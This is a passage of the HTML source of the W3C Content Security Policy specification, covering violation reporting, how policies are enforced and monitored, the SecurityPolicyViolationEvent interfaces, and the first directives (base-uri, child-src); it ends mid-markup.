<ol>\n      \n      <li><a data-link-type=\"dfn\" href=\"#fire-a-violation-event\">Fire a violation event</a> at the protected resource’s\n      <code><a class=\"idl-code\" data-link-type=\"interface\" href=\"https://www.w3.org/TR/dom/#interface-document\">Document</a></code>.\n      \n\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#set-of-report-urls\">set of report URLs</a> is non-empty, <a data-link-type=\"dfn\" href=\"#send-violation-reports\">send violation\n      reports</a> to each.\n      \n    \n     </ol>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: This section of the specification should not be interpreted\n    as limiting user agents' ability to apply restrictions to violation\n    reports in order to limit data leakage above and beyond what these\n    algorithms specify. For example, a user agent might offer users the\n    option of disabling reporting entirely.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"5\" id=\"processing-model\"><span class=\"secno\">5. </span><span class=\"content\">Processing Model</span><a class=\"self-link\" href=\"#processing-model\"></a></h2>\n\n\n    <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"enforce\">enforce<a class=\"self-link\" href=\"#enforce\"></a></dfn> a policy, the user agent MUST <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parse the policy</a>\n  and enforce each of the directives contained in the policy, where the\n  specific requirements for enforcing each directive are defined separately\n  for each directive (See <a href=\"#directives\">§7 Directives</a>, below).</p>\n\n\n    <p>Generally speaking, enforcing a directive prevents the protected\n  resource from performing certain actions, such as loading scripts from\n  URLs other than those indicated in a source list. These restrictions\n  make it more difficult for an attacker to abuse an injection\n  vulnerability in the resource because the attacker will be unable to\n  usurp the resource’s privileges that have been restricted in this\n  way.</p>\n\n\n    <p class=\"note\" role=\"note\">Note: User agents may allow users to modify or bypass policy enforcement\n  through user preferences, bookmarklets, third-party additions to the user\n  agent, and other such mechanisms.</p>\n\n\n    <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"monitor\">monitor<a class=\"self-link\" href=\"#monitor\"></a></dfn> a policy, the user agent MUST <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parse the policy</a>\n  and monitor each of the directives contained in the policy.</p>\n\n\n    <p>Monitoring a directive does not prevent the protected resource from\n  undertaking any actions. Instead, any actions that would have been\n  prevented by the directives are allowed, but a violation report is\n  <a data-link-type=\"dfn\" href=\"#report-a-violation\">generated and reported</a> to the\n  developer of the web application. Monitoring a policy is useful for\n  testing whether enforcing the policy will cause the web application to\n  malfunction.</p>\n\n\n    <p>A server MAY cause user agents to monitor one policy while enforcing\n  another policy by returning both <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n  and <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code> header fields.\n  For example, if a server operator may wish to <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> one policy but\n  experiment with a stricter policy, she can monitor the stricter policy while\n  enforcing the original policy. Once the server operator is satisfied that\n  the stricter policy does not break the web application, the server operator\n  can start enforcing the stricter policy.</p>\n\n\n    <p>If the user agent monitors or enforces a policy that does not contain any\n  directives, the user agent SHOULD report a warning message in the\n  developer console.</p>\n\n\n    <p>If the user agent <a data-link-type=\"dfn\" href=\"#monitor\">monitors</a> or <a data-link-type=\"dfn\" href=\"#enforce\">enforces</a> a policy that contains\n  an unrecognized directive, the user agent SHOULD report a warning message\n  in the developer console indicating the name of the unrecognized directive.</p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"5.1\" id=\"processing-model-workers\"><span class=\"secno\">5.1. </span><span class=\"content\">Workers</span><a class=\"self-link\" href=\"#processing-model-workers\"></a></h3>\n     \n\n\n     <p>Whenever a user agent <a data-link-type=\"dfn\" href=\"#runs-a-worker\">runs a worker</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>If the worker’s script’s origin is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>\n      (for example, the worker’s script’s URL has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then:\n      \n       <ul>\n        \n        <li>If the user agent is enforcing a CSP policy for the <var>owner\n        document</var> or <var>parent worker</var>, the user agent MUST enforce\n        the CSP policy for the worker.\n        \n\n        \n        <li>If the user agent is monitoring a CSP policy for the <var>owner\n        document</var> or <var>parent worker</var>, the user agent MUST monitor\n        the CSP policy for the worker.\n        \n      \n       </ul>\n      \n      \n      <li>Otherwise:\n        \n       <ul>\n          \n        <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy</code> HTTP header containing the\n          value <var>policy</var>, the user agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a>\n          <var>policy</var> for the worker.\n        \n\n          \n        <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy-Report-Only</code> HTTP header\n          containing the value <var>policy</var>, the user agent MUST\n          <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> <var>policy</var> for the worker.\n        \n        \n       </ul>\n       \n      \n      \n    \n     </ul>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"5.2\" id=\"processing-model-iframe-srcdoc\"><span class=\"secno\">5.2. </span><span class=\"content\"><code>srcdoc</code> IFrames</span><a class=\"self-link\" href=\"#processing-model-iframe-srcdoc\"></a></h3>\n     \n\n\n     <p>Whenever a user agent creates <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is <a data-link-type=\"dfn\" href=\"#enforce\">enforcing</a> any <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a>\n    for the protected resource, the user agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> those\n    <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a> on the <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> <code>srcdoc</code> document as well.</p>\n     \n\n\n     <p>Whenever a user agent creates <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is monitoring any policies for the\n    protected resource, the user agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> those policies on\n    the <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> <code>srcdoc</code> document as well.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"6\" id=\"script-interfaces\"><span class=\"secno\">6. </span><span class=\"content\">Script Interfaces</span><a class=\"self-link\" href=\"#script-interfaces\"></a></h2>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.1\" id=\"securitypolicyviolationevent-interface\"><span class=\"secno\">6.1. </span><span class=\"content\">\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </span><a class=\"self-link\" href=\"#securitypolicyviolationevent-interface\"></a></h3>\n     \n\n    \n     <pre class=\"idl\">[<dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"constructor\" data-export=\"\" data-lt=\"SecurityPolicyViolationEvent(type, eventInitDict)\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent\">Constructor<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\"></a></dfn>(DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">type<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\"></a></dfn>, optional <a data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">eventInitDict<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\"></a></dfn>)]\ninterface <dfn class=\"idl-code\" data-dfn-type=\"interface\" data-export=\"\" id=\"securitypolicyviolationevent\">SecurityPolicyViolationEvent<a class=\"self-link\" href=\"#securitypolicyviolationevent\"></a></dfn> : <a data-link-type=\"idl-name\" href=\"https://www.w3.org/TR/dom/#event\">Event</a> {\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-documenturi\">documentURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-referrer\">referrer</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-blockeduri\">blockedURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a>;\n};\n</pre>\n     \n    \n     <dl>\n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-documenturi\">documentURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-documenturi\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-referrer\">referrer<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-referrer\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-blockeduri\">blockedURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-blockeduri\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-violateddirective\">violatedDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-violateddirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-effectivedirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-originalpolicy\">originalPolicy<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-originalpolicy\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-statuscode\">statusCode<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-statuscode\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-status-code\"><code>status-code</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-sourcefile\">sourceFile<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-sourcefile\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-linenumber\">lineNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-linenumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-columnnumber\">columnNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-columnnumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.\n      \n    \n     </dl>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.2\" id=\"securitypolicyviolationeventinit-interface\"><span class=\"secno\">6.2. </span><span class=\"content\">\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </span><a class=\"self-link\" href=\"#securitypolicyviolationeventinit-interface\"></a></h3>\n     \n\n    \n     <pre class=\"idl\">dictionary <dfn class=\"idl-code\" data-dfn-type=\"dictionary\" data-export=\"\" id=\"dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit<a class=\"self-link\" href=\"#dictdef-securitypolicyviolationeventinit\"></a></dfn> : <a data-link-type=\"idl-name\" href=\"https://www.w3.org/TR/dom/#eventinit\">EventInit</a> {\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-documenturi\">documentURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-referrer\">referrer</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-blockeduri\">blockedURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-sourcefile\">sourceFile</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-linenumber\">lineNumber</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-columnnumber\">columnNumber</a>;\n};\n</pre>\n     \n    \n     <dl>\n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-documenturi\">documentURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-documenturi\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-referrer\">referrer<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-referrer\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-blockeduri\">blockedURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-blockeduri\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-violateddirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-sourcefile\">sourceFile<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-sourcefile\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-linenumber\">lineNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-linenumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-columnnumber\">columnNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-columnnumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.\n      \n    \n     </dl>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.3\" id=\"firing-securitypolicyviolationevent-events\"><span class=\"secno\">6.3. </span><span class=\"content\">Firing Violation Events</span><a class=\"self-link\" href=\"#firing-securitypolicyviolationevent-events\"></a></h3>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"fire-a-violation-event\">fire a violation event<a class=\"self-link\" href=\"#fire-a-violation-event\"></a></dfn>, the user agent MUST use an algorithm\n    equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Let <var>report object</var> be the result of <a data-link-type=\"dfn\" href=\"#generate-a-violation-report-object\">generating a\n      violation report object</a>.\n      \n\n      \n      <li><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/webappapis.html#queue-a-task\">Queue a task</a> to\n      <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#concept-event-fire\">fire an event</a> named\n      <code>securitypolicyviolation</code> using the\n      <code><a class=\"idl-code\" data-link-type=\"interface\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> interface\n      with the following initializations:\n\n        \n       <ul>\n          \n        <li><code>blockedURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>blocked-uri</code> key.\n        \n\n          \n        <li><code>documentURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>document-uri</code> key.\n        \n\n          \n        <li><code>effectiveDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>effective-directive</code> key.\n        \n\n          \n        <li><code>originalPolicy</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>original-policy</code> key.\n        \n\n          \n        <li><code>referrer</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>referrer</code> key.\n        \n\n          \n        <li><code>violatedDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>violated-directive</code> key.\n        \n\n          \n        <li><code>sourceFile</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>source-file</code> key.\n        \n\n          \n        <li><code>lineNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>line-number</code> key.\n        \n\n          \n        <li><code>columnNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>column-number</code> key.\n        \n        \n       </ul>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>The <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/webappapis.html#task-source\">task source</a> for these <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/webappapis.html#concept-task\">tasks</a>\n    is the <a data-link-type=\"dfn\" href=\"#content-security-policy-task-source\">Content Security Policy task source</a>.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"7\" id=\"directives\"><span class=\"secno\">7. </span><span class=\"content\">Directives</span><a class=\"self-link\" href=\"#directives\"></a></h2>\n\n\n    <p>This section describes the content security policy directives\n  introduced in this specification. Directive names are case insensitive.</p>\n\n\n    <p>In order to protect against Cross-Site Scripting (XSS), web\n  application authors SHOULD include:</p>\n\n  \n    <ul>\n    \n     <li>both the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> and\n    <code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code> directives, or\n     \n\n    \n     <li>include a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive, which covers both\n    scripts and plugins.\n     \n  \n    </ul>\n\n\n    <p>In either case, authors SHOULD NOT include either\n  <code>'unsafe-inline'</code> or <code>data:</code> as valid sources in\n  their policies. Both enable XSS attacks by allowing code to be included\n  directly in the document itself; they are best avoided completely.</p>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.1\" id=\"directive-base-uri\"><span class=\"secno\">7.1. </span><span class=\"content\"><code>base-uri</code></span><a class=\"self-link\" href=\"#directive-base-uri\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"base_uri\">base-uri<a class=\"self-link\" href=\"#base_uri\"></a></dfn></code> directive restricts the URLs that can\n    be used to specify the <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base URL</a>. The syntax for\n    the name and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"base-uri\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-base-urls\">allowed base URLs<a class=\"self-link\" href=\"#allowed-base-urls\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>base-uri</code> directive’s\n    value as a source list</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>base-uri</code> does not fall back to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a>.</p>\n     \n\n\n     <p>Step 4 of the algorithm defined in HTML5 to obtain a\n    <em>document’s base URL</em> MUST be changed to:</p>\n     \n\n    \n     <ol start=\"4\">\n      \n      <li>If the previous step was not successful, or the result of the\n      previous step does not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a>\n      the <a data-link-type=\"dfn\" href=\"#allowed-base-urls\">allowed base URLs</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, then the\n      <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base URL</a> is <var>fallback base URL</var>.\n      Otherwise, it is the result of the previous step.\n      \n    \n     </ol>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.2\" id=\"directive-child-src\"><span class=\"secno\">7.2. </span><span class=\"content\"><code>child-src</code></span><a class=\"self-link\" href=\"#directive-child-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"child_src\">child-src<a class=\"self-link\" href=\"#child_src\"></a></dfn></code> directive governs the creation of\n    <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing contexts</a> as well as Worker execution\n    contexts. The syntax for the name and value of the directive are described\n    by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"child-src\"\ndirective-value   = <a 